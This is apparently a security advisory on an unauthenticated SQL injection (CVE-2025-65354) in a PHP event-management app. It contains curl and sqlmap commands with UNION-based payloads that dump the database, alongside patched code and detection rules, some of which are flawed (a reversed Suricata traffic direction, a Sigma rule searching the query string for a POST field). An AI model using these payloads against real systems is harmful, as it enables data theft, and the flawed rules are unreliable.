CVE-2025-65354

Executive Summary

CVE-2025-65354 is a critical unauthenticated SQL injection vulnerability in PuneethReddyHC event-management 1.0, specifically within the /Grocery/search_products_itname.php endpoint. The sitem_name POST parameter is directly concatenated into SQL queries without sanitization or parameterization, allowing remote attackers to inject arbitrary SQL commands. With a CVSS score of 9.8, this flaw enables full database disclosure, credential theft, and potential backend compromise. No official patch exists, and the vendor has not responded to disclosure attempts. Public proof-of-concept (PoC) code is available, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This application is a custom PHP project (not an NPM, PyPI, Go, or Ruby package). The vulnerability exists in the source code itself, not in a dependency. However, if the application is distributed via GitHub or other repositories, downstream consumers are directly affected. No package manager metadata is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Potential for denial of service via destructive queries.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerable file /Grocery/search_products_itname.php processes a POST request containing the sitem_name parameter. The application likely constructs a SQL query similar to:

SELECT * FROM products WHERE item_name = '$_POST['sitem_name']'

Because the input is directly interpolated into the query string without escaping or parameterized statements, an attacker can break out of the string context by injecting a single quote ('). For example, submitting:

sitem_name=' OR '1'='1

Results in:

SELECT * FROM products WHERE item_name = '' OR '1'='1'

This returns all rows from the products table. More sophisticated payloads can extract data from other tables, enumerate the database schema, or even execute operating system commands if the database user has sufficient privileges (e.g., INTO OUTFILE).

The vulnerability is classified under CWE-89 (SQL Injection). The attack vector is HTTP POST, requiring no authentication, making it trivial to exploit.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// search_products_itname.php
$item_name = $_POST['sitem_name'];
$query = "SELECT * FROM products WHERE item_name = '$item_name'";
$result = mysqli_query($conn, $query);
// ...
?>

Patched Code (PHP):

<?php
// search_products_itname.php
$item_name = $_POST['sitem_name'];
$stmt = $conn->prepare("SELECT * FROM products WHERE item_name = ?");
$stmt->bind_param("s", $item_name);
$stmt->execute();
$result = $stmt->get_result();
// ...
?>

The patched version uses prepared statements with bound parameters, which ensures user input is treated as data, not executable code. This completely eliminates SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of PuneethReddyHC event-management 1.0 (e.g., using Docker or a local LAMP stack).
2. Ensure the /Grocery/search_products_itname.php endpoint is accessible.

Exploitation Steps:

1. Basic Boolean-Based Injection:

   curl -X POST http://target/Grocery/search_products_itname.php \
     -d "sitem_name=test' AND '1'='1"
   

   If the page returns results, the injection point is confirmed.

2. Extract Database Version:

   curl -X POST http://target/Grocery/search_products_itname.php \
     -d "sitem_name=' UNION SELECT @@version,2,3-- -"
   

3. Dump All Tables:

   curl -X POST http://target/Grocery/search_products_itname.php \
     -d "sitem_name=' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
   

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target/Grocery/search_products_itname.php" \
     --data="sitem_name=test" --batch --dump-all
   

PoC Payload (Public):

sitem_name=' OR 1=1-- -

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /Grocery/search_products_itname.php for unusual sitem_name parameters containing SQL keywords (UNION, SELECT, OR, AND, --, #, ').
• Use WAF rules to block requests with SQL injection patterns.
• Enable database query logging and alert on anomalous queries.

Mitigation:

• Immediately apply the patched code (prepared statements) if possible.
• If patching is not feasible, implement a Web Application Firewall (WAF) with SQL injection rules.
• Restrict database user privileges to the minimum required (e.g., no FILE, CREATE, DROP privileges).
• Conduct a full security audit of the application.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /Grocery/search_products_itname.php with sitem_name containing SQL metacharacters (', ", --, #, UNION, SELECT).
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Unexpected files in the web root (e.g., .sql dumps, webshells).
  • Modified PHP files (e.g., search_products_itname.php with injected backdoors).
• Database IOCs:
  • Queries containing UNION, INFORMATION_SCHEMA, LOAD_FILE, INTO OUTFILE.
  • Unauthorized SELECT statements on system tables.

Detection Engineering

YARA Rule

rule CVE_2025_65354_SQLi_Payload {
    meta:
        description = "Detects SQL injection payloads targeting CVE-2025-65354"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65354"
    strings:
        $sqli1 = /sitem_name=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /sitem_name=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-65354 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against /Grocery/search_products_itname.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/Grocery/search_products_itname.php'
        cs-uri-query|contains|all:
            - 'sitem_name='
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in product names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65354 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/Grocery/search_products_itname.php";
    http_uri;
    content:"sitem_name=";
    http_client_body;
    pcre:"/sitem_name=[^&]*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-65354;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

1. Immediate (Patch): Replace all dynamic SQL queries with prepared statements (parameterized queries) as shown in the patched code example.
2. Short-Term (WAF): Deploy a Web Application Firewall with rules to block SQL injection patterns. Example ModSecurity rule:

   SecRule ARGS:sitem_name "@rx ['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)" \
     "id:10000002,phase:2,deny,status:403,msg:'SQL Injection blocked'"
   

3. Long-Term (Secure Development): Implement input validation (whitelist allowed characters) and use an ORM or database abstraction layer that enforces parameterized queries.
4. Monitoring: Enable detailed logging for all database queries and web server access logs. Alert on any SQL injection patterns.
5. Access Control: Ensure the database user used by the application has minimal privileges (e.g., only SELECT, INSERT, UPDATE on specific tables, no DROP, CREATE, FILE).

Valters IT
Securing Digital Frontiers